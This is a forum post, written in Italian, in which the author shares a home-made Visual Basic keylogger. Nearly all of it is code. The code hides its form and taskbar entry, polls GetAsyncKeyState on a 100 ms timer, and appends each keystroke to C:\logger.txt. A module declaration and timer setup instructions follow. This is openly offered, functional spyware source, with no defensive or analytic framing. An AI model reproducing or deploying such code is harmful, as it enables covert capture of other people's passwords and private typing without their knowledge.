کد:
Vi posto un keylogger fatto da me che memorizza nel file C:\logger.txt tutti i tasti premuti sulla tastiera...
questo è il codice in VB:
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
Open "C:\logger.txt" For Append As 1
If GetAsyncKeyState(vbKeyShift) Then
If GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey1) Then
Print #1, "!"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey2) Then
Print #1, """"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey3) Then
Print #1, "£"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey4) Then
Print #1, "$"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey5) Then
Print #1, "%"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey6) Then
Print #1, "&"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey7) Then
Print #1, "/"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey8) Then
Print #1, "("
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey9) Then
Print #1, ")"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKey0) Then
Print #1, "="
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyA) Then
Print #1, "A"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyB) Then
Print #1, "B"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyC) Then
Print #1, "C"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyD) Then
Print #1, "D"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyE) Then
Print #1, "E"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyF) Then
Print #1, "F"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyG) Then
Print #1, "G"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyH) Then
Print #1, "H"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyI) Then
Print #1, "I"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyJ) Then
Print #1, "J"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyK) Then
Print #1, "K"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyL) Then
Print #1, "L"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyM) Then
Print #1, "M"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyN) Then
Print #1, "N"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyO) Then
Print #1, "O"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyP) Then
Print #1, "P"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyQ) Then
Print #1, "Q"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyR) Then
Print #1, "R"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyS) Then
Print #1, "S"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyT) Then
Print #1, "T"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyU) Then
Print #1, "U"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyV) Then
Print #1, "V"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyW) Then
Print #1, "W"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyX) Then
Print #1, "X"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyY) Then
Print #1, "Y"
ElseIf GetAsyncKeyState(vbKeyShift) And GetAsyncKeyState(vbKeyZ) Then
Print #1, "Z"
End If
Else
If GetAsyncKeyState(vbKeyA) Then
Print #1, "a"
ElseIf GetAsyncKeyState(vbKeyB) Then
Print #1, "b"
ElseIf GetAsyncKeyState(vbKeyC) Then
Print #1, "c"
ElseIf GetAsyncKeyState(vbKeyD) Then
Print #1, "d"
ElseIf GetAsyncKeyState(vbKeyE) Then
Print #1, "e"
ElseIf GetAsyncKeyState(vbKeyF) Then
Print #1, "f"
ElseIf GetAsyncKeyState(vbKeyG) Then
Print #1, "g"
ElseIf GetAsyncKeyState(vbKeyH) Then
Print #1, "h"
ElseIf GetAsyncKeyState(vbKeyI) Then
Print #1, "i"
ElseIf GetAsyncKeyState(vbKeyJ) Then
Print #1, "j"
ElseIf GetAsyncKeyState(vbKeyK) Then
Print #1, "k"
ElseIf GetAsyncKeyState(vbKeyL) Then
Print #1, "l"
ElseIf GetAsyncKeyState(vbKeyM) Then
Print #1, "m"
ElseIf GetAsyncKeyState(vbKeyN) Then
Print #1, "n"
ElseIf GetAsyncKeyState(vbKeyO) Then
Print #1, "o"
ElseIf GetAsyncKeyState(vbKeyP) Then
Print #1, "p"
ElseIf GetAsyncKeyState(vbKeyQ) Then
Print #1, "q"
ElseIf GetAsyncKeyState(vbKeyR) Then
Print #1, "r"
ElseIf GetAsyncKeyState(vbKeyS) Then
Print #1, "s"
ElseIf GetAsyncKeyState(vbKeyT) Then
Print #1, "t"
ElseIf GetAsyncKeyState(vbKeyU) Then
Print #1, "u"
ElseIf GetAsyncKeyState(vbKeyV) Then
Print #1, "v"
ElseIf GetAsyncKeyState(vbKeyW) Then
Print #1, "w"
ElseIf GetAsyncKeyState(vbKeyX) Then
Print #1, "x"
ElseIf GetAsyncKeyState(vbKeyY) Then
Print #1, "y"
ElseIf GetAsyncKeyState(vbKeyZ) Then
Print #1, "z"
ElseIf GetAsyncKeyState(vbKey0) Then
Print #1, "0"
ElseIf GetAsyncKeyState(vbKey1) Then
Print #1, "1"
ElseIf GetAsyncKeyState(vbKey2) Then
Print #1, "2"
ElseIf GetAsyncKeyState(vbKey3) Then
Print #1, "3"
ElseIf GetAsyncKeyState(vbKey4) Then
Print #1, "4"
ElseIf GetAsyncKeyState(vbKey5) Then
Print #1, "5"
ElseIf GetAsyncKeyState(vbKey6) Then
Print #1, "6"
ElseIf GetAsyncKeyState(vbKey7) Then
Print #1, "7"
ElseIf GetAsyncKeyState(vbKey8) Then
Print #1, "8"
ElseIf GetAsyncKeyState(vbKey9) Then
Print #1, "9"
ElseIf GetAsyncKeyState(vbKeyNumpad0) Then
Print #1, "0"
ElseIf GetAsyncKeyState(vbKeyNumpad1) Then
Print #1, "1"
ElseIf GetAsyncKeyState(vbKeyNumpad2) Then
Print #1, "2"
ElseIf GetAsyncKeyState(vbKeyNumpad3) Then
Print #1, "3"
ElseIf GetAsyncKeyState(vbKeyNumpad4) Then
Print #1, "4"
ElseIf GetAsyncKeyState(vbKeyNumpad5) Then
Print #1, "5"
ElseIf GetAsyncKeyState(vbKeyNumpad6) Then
Print #1, "6"
ElseIf GetAsyncKeyState(vbKeyNumpad7) Then
Print #1, "7"
ElseIf GetAsyncKeyState(vbKeyNumpad8) Then
Print #1, "8"
ElseIf GetAsyncKeyState(vbKeyNumpad9) Then
Print #1, "9"
ElseIf GetAsyncKeyState(vbKeySpace) Then
Print #1, "spazio"
End If
End If
Close 1
End Sub
Questo invece è il codice del modulo:
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Const KEYEVENTF_EXTENDEDKEY = &H1
Const KEYEVENTF_KEYUP = &H2
è necessario un timer nominato: "Timer1" con il campo "intervallo" settato a 100